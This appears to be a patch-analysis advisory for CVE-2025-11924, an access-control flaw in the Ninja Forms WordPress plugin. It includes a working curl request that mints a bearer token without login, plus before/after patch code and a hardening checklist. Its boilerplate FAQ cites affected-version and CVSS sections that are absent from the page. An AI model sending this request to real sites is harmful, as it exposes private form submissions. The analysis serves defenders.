SECURITY ADVISORY / 01

CVE-2025-11924 Exploit & Vulnerability Analysis

Complete CVE-2025-11924 security advisory with proof of concept (PoC), exploit details, and patch analysis.

cve_patchdiff:ninja-forms NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

The attacker needs no WordPress authentication; they only need to send a POST to the token endpoint with a Referer header pointing at any page that contains the Ninja Forms Submissions Table block.

curl -i -s -X POST 'https://TARGET/wp-json/ninja-forms-views/v1/token' \
  -H 'Content-Type: application/json' \
  -H 'Referer: https://TARGET/page-with-submissions-table' \
  -d '{"formIds":[123]}'

The response returns a bearer token scoped to the requested form ID:

{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "publicKey":"X5b3Z...",
  "expiresIn":900,
  "formIds":[123]
}

That token can then be reused against Ninja Forms view endpoints to read form definitions and submission records for form 123 without any login.

What the Patch Did

Before:

$formIds = $request->get_param('formIds');

// Validate form IDs
if (!is_array($formIds) || empty($formIds)) {
    return new WP_Error(
        'invalid_form_ids',
        __('Form IDs must be a non-empty array', 'ninja-forms'),
        array('status' => 400)
    );
}

// Sanitize form IDs
$formIds = array_map('absint', $formIds);
$formIds = array_filter($formIds); // Remove zeros

if (empty($formIds)) {
    return new WP_Error(
        'invalid_form_ids',
        __('No valid form IDs provided', 'ninja-forms'),
        array('status' => 400)
    );
}

// Generate new token scoped to requested forms
$publicKey = NinjaForms\Blocks\Authentication\KeyFactory::make(32);
$tokenGenerator = NinjaForms\Blocks\Authentication\TokenFactory::make();
$newToken = $tokenGenerator->create($publicKey, $formIds);

return array(
    'token' => $newToken,
    'publicKey' => $publicKey,
    'expiresIn' => 900,
    'formIds' => $formIds,
);

After:

// REFACTOR: Accept single formID instead of formIds array
$formId = $request->get_param('formID');

// Check for legacy formIds parameter for backward compatibility
if (!$formId && $request->get_param('formIds')) {
    $formIds = $request->get_param('formIds');
    if (is_array($formIds) && !empty($formIds)) {
        // Only accept single form from legacy array
        if (count($formIds) > 1) {
            return new WP_Error(
                'too_many_form_ids',
                __('Token generation is limited to one form at a time. Please use formID parameter instead.', 'ninja-forms'),
                array('status' => 400)
            );
        }
        $formId = $formIds[0];
    }
}

// Sanitize and validate form ID
$formId = absint($formId);

if (!$formId) {
    return new WP_Error(
        'invalid_form_id',
        __('Valid form ID is required', 'ninja-forms'),
        array('status' => 400)
    );
}

// FIX: Validate that the form exists and is accessible
$form = Ninja_Forms()->form( $formId )->get();
if (!$form) {
    return new WP_Error(
        'form_not_found',
        __('The requested form does not exist', 'ninja-forms'),
        array('status' => 404)
    );
}

// FIX: Validate that user has permission to access this form
// This prevents users from generating tokens for arbitrary forms
$referer = wp_get_referer();
if (!$referer) {
    return new WP_Error(
        'invalid_request',
        __('Request must come from a valid page with submissions table block', 'ninja-forms'),
        array('status' => 403)
    );
}

// Parse the referring page to validate block authorization
$post_id = url_to_postid($referer);
if (!$post_id) {
    // Handle front page, archives, etc.
    $parsed_url = parse_url($referer);
    if ($parsed_url['path'] === '/' || $parsed_url['path'] === home_url('/')) {
        $post_id = get_option('page_on_front')
...

The patch adds an authorization gate: it now verifies the requested formID exists and that the request originates from a valid page with the Submissions Table block via wp_get_referer() / url_to_postid().

Root Cause

This was a broken access control bug (CWE-639/CWE-862): the REST route accepted attacker-controlled formIds from the request body and immediately generated a bearer token with TokenFactory::create() without checking whether the caller was entitled to request access to that form. The attacker-controlled data flowed from the POST body into token issuance, crossing the trust boundary between unauthenticated HTTP input and privileged form access.

Why It Works

The load-bearing change is the authorization check on the request origin: without the wp_get_referer()/page-validation guard, the endpoint would still mint tokens for arbitrary form IDs. The form = Ninja_Forms()->form($formId)->get() check is secondary hygiene: it prevents tokens being issued for nonexistent forms and ensures the form is canonical. The rest of the patch is input normalization and error handling, including legacy support for formIds and absint() sanitization.

Hardening Checklist

  • register REST routes with a proper permission_callback instead of relying on header-based heuristics.
  • validate resource IDs with absint() and existence checks via application APIs like Ninja_Forms()->form($formId)->get().
  • avoid using attacker-controlled arrays as direct token scopes; normalize to a single formID if the endpoint is supposed to issue one token.
  • use wp_get_referer() and url_to_postid() with has_block() or equivalent block inspection only as a secondary safety net.
  • require wp_verify_nonce() or user capability checks for any endpoint that mints authentication tokens or exposes submission data.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-11924

Frequently asked questions about CVE-2025-11924

What is CVE-2025-11924?

CVE-2025-11924 is a security vulnerability. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-11924?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-11924. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-11924 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-11924?

CVE-2025-11924 — check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-11924?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls.

What is the CVSS score for CVE-2025-11924?

The severity rating and CVSS scoring for CVE-2025-11924 is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.